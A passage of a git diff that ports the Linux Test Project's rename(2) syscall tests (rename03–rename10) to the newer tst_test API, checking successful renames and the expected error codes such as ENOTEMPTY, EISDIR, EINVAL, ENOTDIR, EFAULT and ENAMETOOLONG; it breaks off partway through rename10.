- /* - * verify that the old file or directory - * does not exist - */ - if (stat(fname, &buf2) != -1) { - tst_resm(TFAIL, "the old %s still " - "exists", TC[i].desc); - continue; - } - - tst_resm(TPASS, "functionality is correct " - "for renaming a %s", TC[i].desc); - } - - /* reset things in case we are looping */ - - /* unlink the new file */ - SAFE_UNLINK(cleanup, mname); - - /* remove the new directory */ - SAFE_RMDIR(cleanup, mdir); - } - - cleanup(); - tst_exit(); - -} - -/* - * setup() - performs all ONE TIME setup for this test. + * Verify rename(2) functions correctly when the newpath + * file or directory (empty) exists. */ -void setup(void) -{ - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; +#include +#include +#include "tst_test.h" - /* Create a temporary directory and make it current. */ - tst_tmpdir(); +#define MNT_POINT "mntpoint" +#define OLD_FILE_NAME MNT_POINT"/oldfile" +#define NEW_FILE_NAME MNT_POINT"/newfile" +#define OLD_DIR_NAME MNT_POINT"/olddir" +#define NEW_DIR_NAME MNT_POINT"/newdir" - sprintf(fname, "./tfile_%d", getpid()); - sprintf(mname, "./rnfile_%d", getpid()); - sprintf(fdir, "./tdir_%d", getpid()); - sprintf(mdir, "./rndir_%d", getpid()); -} +static struct stat old_file_st, old_dir_st, new_file_st, new_dir_st; -/* - * setup2() - set up the files and directories for the tests - */ -void setup2(void) +static void run(void) { - SAFE_TOUCH(cleanup, fname, 0700, NULL); - - SAFE_STAT(cleanup, fname, &buf1); - - /* save original file's dev and ino */ - f_olddev = buf1.st_dev; - f_oldino = buf1.st_ino; - - SAFE_TOUCH(cleanup, mname, 0700, NULL); - - /* create "old" directory */ - SAFE_MKDIR(cleanup, fdir, 00770); - SAFE_STAT(cleanup, fdir, &buf1); - - d_olddev = buf1.st_dev; - d_oldino = buf1.st_ino; - - /* create another directory */ - SAFE_MKDIR(cleanup, mdir, 00770); + SAFE_TOUCH(OLD_FILE_NAME, 0700, NULL); + SAFE_MKDIR(OLD_DIR_NAME, 00770); + SAFE_TOUCH(NEW_FILE_NAME, 0700, NULL); + SAFE_MKDIR(NEW_DIR_NAME, 00770); + + SAFE_STAT(OLD_FILE_NAME, &old_file_st); + SAFE_STAT(OLD_DIR_NAME, &old_dir_st); + + TST_EXP_PASS(rename(OLD_FILE_NAME, NEW_FILE_NAME), + "rename(%s, %s)", + OLD_FILE_NAME, NEW_FILE_NAME); + TST_EXP_PASS(rename(OLD_DIR_NAME, NEW_DIR_NAME), + "rename(%s, %s)", + OLD_DIR_NAME, NEW_DIR_NAME); + + SAFE_STAT(NEW_FILE_NAME, &new_file_st); + SAFE_STAT(NEW_DIR_NAME, &new_dir_st); + + TST_EXP_EQ_LU(old_file_st.st_dev, new_file_st.st_dev); + TST_EXP_EQ_LU(old_file_st.st_ino, new_file_st.st_ino); + + TST_EXP_EQ_LU(old_dir_st.st_dev, new_dir_st.st_dev); + TST_EXP_EQ_LU(old_dir_st.st_ino, new_dir_st.st_ino); + + TST_EXP_FAIL(stat(OLD_FILE_NAME, &old_file_st), + ENOENT, + "stat(%s, &old_file_st)", + OLD_FILE_NAME); + TST_EXP_FAIL(stat(OLD_DIR_NAME, &old_dir_st), + ENOENT, + "stat(%s, &old_dir_st)", + OLD_DIR_NAME); + + /* cleanup between loops */ + SAFE_UNLINK(NEW_FILE_NAME); + SAFE_RMDIR(NEW_DIR_NAME); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - - /* - * Remove the temporary directory. - */ - tst_rmdir(); -} +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1 +}; diff --git a/testcases/kernel/syscalls/rename/rename04.c b/testcases/kernel/syscalls/rename/rename04.c index 32594a77..598ecd6f 100755 --- a/testcases/kernel/syscalls/rename/rename04.c +++ b/testcases/kernel/syscalls/rename/rename04.c @@ -1,182 +1,50 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * rename04 - * - * DESCRIPTION - * This test will verify that rename(2) failed when newpath is - * a non-empty directory and return EEXIST or ENOTEMPTY - * - * ALGORITHM - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * create the "old" directory and the "new" directory - * create a file uner the "new" directory - * - * Test: - * Loop if the proper options are given. - * rename the "old" to the "new" directory - * verify rename() failed and returned ENOTEMPTY - * - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * USAGE - * rename04 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer +/*\ + * [Description] * - * RESTRICTIONS - * None. + * Verify that rename() fails with EEXIST or ENOTEMPTY when + * newpath is a non-empty directory. */ -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" +#include +#include "tst_test.h" -void setup(); -void cleanup(); +#define MNT_POINT "mntpoint" +#define DIR1 "dir1" +#define DIR2 "dir2" +#define TEMP_FILE DIR2"/tmpfile" -char *TCID = "rename04"; -int TST_TOTAL = 1; - -int fd; -char tstfile[40]; -char fdir[255], mdir[255]; -struct stat buf1, buf2; -dev_t olddev, olddev1; -ino_t oldino, oldino1; - -int main(int ac, char **av) +static void setup(void) { - int lc; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - - /* - * perform global setup for test - */ - setup(); - - /* - * check looping state if -i option given - */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* rename a directory to a non-empty directory */ - - /* Call rename(2) */ - TEST(rename(fdir, mdir)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "rename(%s, %s) succeeded unexpectedly", - fdir, mdir); - continue; - } - - if (TEST_ERRNO == ENOTEMPTY) { - tst_resm(TPASS, "rename() returned ENOTEMPTY"); - } else if (TEST_ERRNO == EEXIST) { - tst_resm(TPASS, "rename() returned EEXIST"); - } else { - tst_resm(TFAIL, "Expected ENOTEMPTY or EEXIST got %d", - TEST_ERRNO); - } - - } - - /* - * cleanup and exit - */ - cleanup(); - tst_exit(); - + SAFE_CHDIR(MNT_POINT); + SAFE_MKDIR(DIR1, 00770); + SAFE_MKDIR(DIR2, 00770); + SAFE_TOUCH(TEMP_FILE, 0700, NULL); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void run(void) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* Create a temporary directory and make it current. */ - tst_tmpdir(); - - sprintf(fdir, "./tdir_%d", getpid()); - sprintf(mdir, "./rndir_%d", getpid()); - sprintf(tstfile, "%s/tstfile_%d", mdir, getpid()); - - /* create "old" directory */ - SAFE_MKDIR(cleanup, fdir, 00770); - - SAFE_STAT(cleanup, fdir, &buf1); - - /* save "old"'s dev and ino */ - olddev = buf1.st_dev; - oldino = buf1.st_ino; - - /* create another directory */ - SAFE_MKDIR(cleanup, mdir, 00770); - - SAFE_TOUCH(cleanup, tstfile, 0700, NULL); - - SAFE_STAT(cleanup, mdir, &buf2); - - /* save "new"'s dev and ino */ - olddev1 = buf2.st_dev; - oldino1 = buf2.st_ino; + TEST(rename(DIR1, DIR2)); + + if (TST_RET == -1 && (TST_ERR == ENOTEMPTY || TST_ERR == EEXIST)) + tst_res(TPASS | TTERRNO, "rename() failed as expected"); + else if (TST_RET == 0) + tst_res(TFAIL, "rename() succeeded unexpectedly"); + else + tst_res(TFAIL | TTERRNO, "rename() failed, but not with expected errno"); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - - /* - * Remove the temporary directory. - */ - tst_rmdir(); -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .mntpoint = MNT_POINT, + .mount_device = 1, + .all_filesystems = 1 +}; diff --git a/testcases/kernel/syscalls/rename/rename05.c b/testcases/kernel/syscalls/rename/rename05.c index db10720f..7894a921 100755 --- a/testcases/kernel/syscalls/rename/rename05.c +++ b/testcases/kernel/syscalls/rename/rename05.c @@ -1,179 +1,42 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * rename05 - * - * DESCRIPTION - * This test will verify that rename(2) fails with EISDIR - * - * ALGORITHM - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * create the "old" file and the "new" directory - * rename the "old" file to the "new" directory - * - * Test: - * Loop if the proper options are given. - * verify rename() failed and returned EISDIR - * - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * USAGE - * rename05 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer +/*\ + * [Description] * - * RESTRICTIONS - * None. + * Verify that rename(2) fails with EISDIR when + * oldpath is not a directory and newpath is an existing directory. */ -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" +#include +#include "tst_test.h" -void setup(); -void cleanup(); +#define MNT_POINT "mntpoint" +#define TEMP_FILE "tmpfile" +#define TEMP_DIR "tmpdir" -char *TCID = "rename05"; -int TST_TOTAL = 1; - -int fd; -char fname[255], mdir[255]; -struct stat buf1, buf2; -dev_t olddev, olddev1; -ino_t oldino, oldino1; - -int main(int ac, char **av) +static void setup(void) { - int lc; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - - /* - * perform global setup for test - */ - setup(); - - /* - * check looping state if -i option given - */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* attempt to rename a file to a directory */ - /* Call rename(2) */ - TEST(rename(fname, mdir)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "rename(%s, %s) succeed unexpected", - fname, mdir); - continue; - } - - if (errno != EISDIR) { - tst_resm(TFAIL, "Expected EISDIR got %d", TEST_ERRNO); - } else { - tst_resm(TPASS, "rename() returned EISDIR"); - } - } - - /* - * cleanup and exit - */ - cleanup(); - tst_exit(); - + SAFE_CHDIR(MNT_POINT); + SAFE_TOUCH(TEMP_FILE, 0700, NULL); + SAFE_MKDIR(TEMP_DIR, 00770); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void run(void) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* Create a temporary directory and make it current. */ - tst_tmpdir(); - - sprintf(mdir, "./rndir_%d", getpid()); - sprintf(fname, "./tfile_%d", getpid()); - - /* create "old" file */ - SAFE_TOUCH(cleanup, fname, 0700, NULL); - SAFE_STAT(cleanup, fname, &buf1); - - /* save "old"'s dev and ino */ - olddev = buf1.st_dev; - oldino = buf1.st_ino; - - /* create another directory */ - if (stat(mdir, &buf2) != -1) { - tst_brkm(TBROK, cleanup, "tmp directory %s found!", mdir); - } - - SAFE_MKDIR(cleanup, mdir, 00770); - - SAFE_STAT(cleanup, mdir, &buf2); - - /* save "new"'s dev and ino */ - olddev1 = buf2.st_dev; - oldino1 = buf2.st_ino; + TST_EXP_FAIL(rename(TEMP_FILE, TEMP_DIR), + EISDIR); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - - /* - * Remove the temporary directory. - */ - tst_rmdir(); - - /* - * Exit with return code appropriate for results. - */ - -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1 +}; diff --git a/testcases/kernel/syscalls/rename/rename06.c b/testcases/kernel/syscalls/rename/rename06.c index e415b415..82665d1c 100755 --- a/testcases/kernel/syscalls/rename/rename06.c +++ b/testcases/kernel/syscalls/rename/rename06.c @@ -1,173 +1,42 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * rename06 - * - * DESCRIPTION - * This test will verify that rename(2) failed in EINVAL - * - * ALGORITHM - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * create the "old" directory - * create the "new" directory under the "old" directory - * - * Test: - * Loop if the proper options are given. - * rename the "old" to the "new" directory - * verify rename() failed and returned EINVAL - * - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * USAGE - * rename06 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. +/*\ + * [Description] * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS - * None. + * Verify that rename(2) fails with EINVAL when + * an attempt is made to make a directory a subdirectory of itself. */ -#include -#include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" - -void setup(); -void cleanup(); -char *TCID = "rename06"; -int TST_TOTAL = 1; +#include +#include "tst_test.h" -int fd; -char fdir[255], mdir[255]; -struct stat buf1, buf2; -dev_t olddev, olddev1; -ino_t oldino, oldino1; +#define MNT_POINT "mntpoint" +#define DIR1 "dir1" +#define DIR2 DIR1"/dir2" -int main(int ac, char **av) +static void setup(void) { - int lc; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - - /* - * perform global setup for test - */ - setup(); - - /* - * check looping state if -i option given - */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* rename a directory to a subdirectory of itself */ - /* Call rename(2) */ - TEST(rename(fdir, mdir)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "rename(%s, %s) succeed unexpected", - fdir, mdir); - continue; - } - - if (errno != EINVAL) { - tst_resm(TFAIL, "Expected EINVAL got %d", TEST_ERRNO); - } else { - tst_resm(TPASS, "rename() returned EINVAL"); - } - } - - cleanup(); - tst_exit(); - + SAFE_CHDIR(MNT_POINT); + SAFE_MKDIR(DIR1, 00770); + SAFE_MKDIR(DIR2, 00770); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void run(void) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* Create a temporary directory and make it current. */ - tst_tmpdir(); - - sprintf(fdir, "./tdir_%d", getpid()); - sprintf(mdir, "%s/rndir_%d", fdir, getpid()); - - /* create "old" directory */ - if (stat(fdir, &buf1) != -1) { - tst_brkm(TBROK, cleanup, "tmp directory %s found!", fdir); - } - SAFE_MKDIR(cleanup, fdir, 00770); - SAFE_STAT(cleanup, fdir, &buf1); - /* save "old"'s dev and ino */ - olddev = buf1.st_dev; - oldino = buf1.st_ino; - - /* create another directory */ - if (stat(mdir, &buf2) != -1) { - tst_brkm(TBROK, cleanup, "tmp directory %s found!", mdir); - } - SAFE_MKDIR(cleanup, mdir, 00770); - - SAFE_STAT(cleanup, mdir, &buf2); - - /* save "new"'s dev and ino */ - olddev1 = buf2.st_dev; - oldino1 = buf2.st_ino; + TST_EXP_FAIL(rename(DIR1, DIR2), + EINVAL); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - - /* - * Remove the temporary directory. - */ - tst_rmdir(); -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1 +}; diff --git a/testcases/kernel/syscalls/rename/rename07.c b/testcases/kernel/syscalls/rename/rename07.c index 5b95f84b..51338dbf 100755 --- a/testcases/kernel/syscalls/rename/rename07.c +++ b/testcases/kernel/syscalls/rename/rename07.c @@ -1,154 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * NAME - * rename07 - * - * DESCRIPTION - * This test will verify that rename(2) failed in ENOTDIR - * - * CALLS - * stat,open,rename,mkdir,close - * - * ALGORITHM - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * create the "old" directory and the "new" file - * rename the "old" directory to the "new" file - * - * Test: - * Loop if the proper options are given. - * verify rename() failed and returned ENOTDIR - * - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created.* - * USAGE - * rename07 [-c n] [-e] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar + */ + +/*\ + * [Description] * - * HISTORY - * 07/2001 Ported by Wayne Boyer + * Verify that rename(2) fails with ENOTDIR, when + * oldpath is a directory and newpath exists but is not a directory. * - * RESTRICTIONS - * None. */ -#include -#include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" - -void setup(); -void cleanup(); -char *TCID = "rename07"; -int TST_TOTAL = 1; +#include +#include "tst_test.h" -int fd; -char mname[255], fdir[255]; -struct stat buf1, buf2; -dev_t olddev, olddev1; -ino_t oldino, oldino1; +#define MNT_POINT "mntpoint" +#define TEMP_DIR "tmpdir" +#define TEMP_FILE "tmpfile" -int main(int ac, char **av) +static void setup(void) { - int lc; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - - /* - * perform global setup for test - */ - setup(); - - /* - * check looping state if -i option given - */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* rename a directory to a file */ - /* Call rename(2) */ - TEST(rename(fdir, mname)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "rename(%s, %s) succeeded unexpectedly", - fdir, mname); - continue; - } - - if (TEST_ERRNO != ENOTDIR) { - tst_resm(TFAIL, "Expected ENOTDIR got %d", TEST_ERRNO); - } else { - tst_resm(TPASS, "rename() returned ENOTDIR"); - } - } - - cleanup(); - tst_exit(); - + SAFE_CHDIR(MNT_POINT); + SAFE_MKDIR(TEMP_DIR, 00770); + SAFE_TOUCH(TEMP_FILE, 0700, NULL); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void run(void) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* Create a temporary directory and make it current. */ - tst_tmpdir(); - - sprintf(fdir, "./rndir_%d", getpid()); - sprintf(mname, "./tfile_%d", getpid()); - - /* create "old" directory */ - if (stat(fdir, &buf1) != -1) { - tst_brkm(TBROK, cleanup, "tmp directory %s found!", fdir); - } - - SAFE_MKDIR(cleanup, fdir, 00770); - - SAFE_STAT(cleanup, fdir, &buf1); - - /* save "old"'s dev and ino */ - olddev = buf1.st_dev; - oldino = buf1.st_ino; - - SAFE_TOUCH(cleanup, mname, 0700, NULL); - - SAFE_STAT(cleanup, mname, &buf2); - - /* save "new"'s dev and ino */ - olddev1 = buf2.st_dev; - oldino1 = buf2.st_ino; + TST_EXP_FAIL(rename(TEMP_DIR, TEMP_FILE), + ENOTDIR); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - - /* - * Remove the temporary directory. - */ - tst_rmdir(); -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1 +}; diff --git a/testcases/kernel/syscalls/rename/rename08.c b/testcases/kernel/syscalls/rename/rename08.c index 2efdfd39..8a9a9b34 100755 --- a/testcases/kernel/syscalls/rename/rename08.c +++ b/testcases/kernel/syscalls/rename/rename08.c @@ -1,190 +1,43 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * rename08 - * - * DESCRIPTION - * This test will verify that rename(2) syscall failed in EFAULT - * - * ALGORITHM - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * Create a valid file to use in the rename() call. - * - * Test: - * Loop if the proper options are given. - * 1. "old" is a valid file, newpath points to address - * outside allocated address space - * rename the "old" to the "new" file - * verify rename() failed with error EFAULT - * - * 2. "old" points to address outside allocated address space - * ,"new" is a valid file - * rename the "old" to the "new" - * verify rename() failed with error EFAULT - * - * 3. oldpath and newpath are all NULL - * try to rename NULL to NULL - * verify rename() failed with error EFAULT - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created.* - * USAGE - * rename08 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer +/*\ + * [Description] * - * RESTRICTIONS - * None. + * Verify that rename(2) fails with EFAULT, when + * oldpath or newpath points outside of accessible address space. */ -#include -#include -#include -#include -#include -#include "test.h" +#include +#include "tst_test.h" -void setup(); -void cleanup(); +#define MNT_POINT "mntpoint" +#define TEMP_FILE "tmpfile" +#define INVALID_PATH ((void *)-1) -char *TCID = "rename08"; - -char *bad_addr = 0; - -int fd; -char fname[255]; - -struct test_case_t { - char *fd; - char *fd2; - int error; -} TC[] = { -#if !defined(UCLINUX) - /* "new" file is invalid - EFAULT */ - { - fname, (char *)-1, EFAULT}, - /* "old" file is invalid - EFAULT */ - { - (char *)-1, fname, EFAULT}, -#endif - /* both files are NULL - EFAULT */ - { - NULL, NULL, EFAULT} -}; - -int TST_TOTAL = ARRAY_SIZE(TC); - -int main(int ac, char **av) +static void setup(void) { - int lc; - int i; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - /* - * check looping state if -i option given - */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* loop through the test cases */ - for (i = 0; i < TST_TOTAL; i++) { - - TEST(rename(TC[i].fd, TC[i].fd2)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - continue; - } - - if (TEST_ERRNO == TC[i].error) { - tst_resm(TPASS, "expected failure - " - "errno = %d : %s", TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_resm(TFAIL, "unexpected error - %d : %s - " - "expected %d", TEST_ERRNO, - strerror(TEST_ERRNO), TC[i].error); - } - } - } - - cleanup(); - tst_exit(); - + SAFE_CHDIR(MNT_POINT); + SAFE_TOUCH(TEMP_FILE, 0700, NULL); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void run(void) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* Create a temporary directory and make it current. */ - tst_tmpdir(); - - sprintf(fname, "./tfile_%d", getpid()); - - SAFE_TOUCH(cleanup, fname, 0700, NULL); - -#if !defined(UCLINUX) - bad_addr = mmap(0, 1, PROT_NONE, - MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0); - if (bad_addr == MAP_FAILED) { - tst_brkm(TBROK, cleanup, "mmap failed"); - } - TC[0].fd2 = bad_addr; - TC[1].fd = bad_addr; -#endif + TST_EXP_FAIL(rename(INVALID_PATH, TEMP_FILE), + EFAULT); + TST_EXP_FAIL(rename(TEMP_FILE, INVALID_PATH), + EFAULT); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - - /* - * Remove the temporary directory. - */ - tst_rmdir(); -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1 +}; diff --git a/testcases/kernel/syscalls/rename/rename10.c b/testcases/kernel/syscalls/rename/rename10.c index 4f093332..444f6536 100755 --- a/testcases/kernel/syscalls/rename/rename10.c +++ b/testcases/kernel/syscalls/rename/rename10.c @@ -1,175 +1,42 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * rename10 - * - * DESCRIPTION - * This test will verify that rename(2) syscall fails with ENAMETOOLONG - * and ENOENT - * - * ALGORITHM - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * create the "old" file - * - * Test: - * Loop if the proper options are given. - * 1. rename the "old" to the "new" file - * verify rename() failed with error ENAMETOOLONG - * - * 2. "new" path contains a directory that does not exist - * rename the "old" to the "new" - * verify rename() failed with error ENOENT - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created.* - * - * USAGE - * rename10 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. +/*\ + * [Description] * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS - * None. + * Verify that rename(2) fails with ENAMETOOLONG, when + * oldpath or newpath is too long. */ -#include -#include -#include -#include - -#include "test.h" - -void setup(); -void cleanup(); -char *TCID = "rename10"; -int TST_TOTAL = 2; +#include +#include "tst_test.h" -char badmname[] = - "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyz"; +#define MNT_POINT "mntpoint" +#define TEMP_FILE "tmpfile" -int fd; -char fname[255], mname[255]; -char mdir[255]; - -struct test_case_t { - char *fd1; - char *fd2; - int error; -} TC[] = { - /* badmname is too long for a file name - ENAMETOOLONG */ - { - fname, badmname, ENAMETOOLONG}, - /* mname contains a directory component which does not exist - ENOENT */ - { - fname, mname, ENOENT} -}; +static char long_path[NAME_MAX + 1] = {[0 ... NAME_MAX] = 'a'}; -int main(int ac, char **av) +static void setup(void) { - int lc; - int i; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - - /* - * perform global setup for test - */ - 